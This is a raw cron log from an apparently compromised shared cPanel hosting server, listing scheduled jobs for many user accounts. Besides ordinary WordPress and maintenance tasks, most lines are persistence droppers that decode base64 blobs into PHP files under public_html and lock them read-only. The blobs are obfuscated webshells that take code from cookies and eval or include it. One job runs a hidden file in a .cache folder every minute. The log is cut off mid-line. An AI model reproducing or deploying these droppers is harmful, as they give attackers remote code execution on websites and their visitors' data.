Mar  1 04:41:01 medusa CROND[12483]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:41:01 medusa CROND[12484]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 04:41:01 medusa CROND[12481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:41:01 medusa CROND[12486]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 04:41:01 medusa CROND[12485]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:41:01 medusa CROND[12488]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:41:01 medusa CROND[12492]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:41:01 medusa CROND[12495]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:41:01 medusa CROND[12502]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:41:01 medusa CROND[12503]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:41:01 medusa CROND[12513]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:42:01 medusa CROND[5151]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:42:01 medusa CROND[5225]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 04:42:01 medusa CROND[5226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:42:01 medusa CROND[5227]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:42:01 medusa CROND[5229]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:42:01 medusa CROND[5230]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:42:01 medusa CROND[5231]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:42:01 medusa CROND[5237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:42:01 medusa CROND[5238]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:42:01 medusa CROND[5239]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:42:01 medusa CROND[5241]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:42:01 medusa CROND[5245]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:42:01 medusa CROND[5247]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:43:01 medusa CROND[29900]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:43:01 medusa CROND[29901]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 04:43:01 medusa CROND[29902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:43:01 medusa CROND[29903]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:43:01 medusa CROND[29904]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:43:01 medusa CROND[29905]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:43:01 medusa CROND[29909]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWY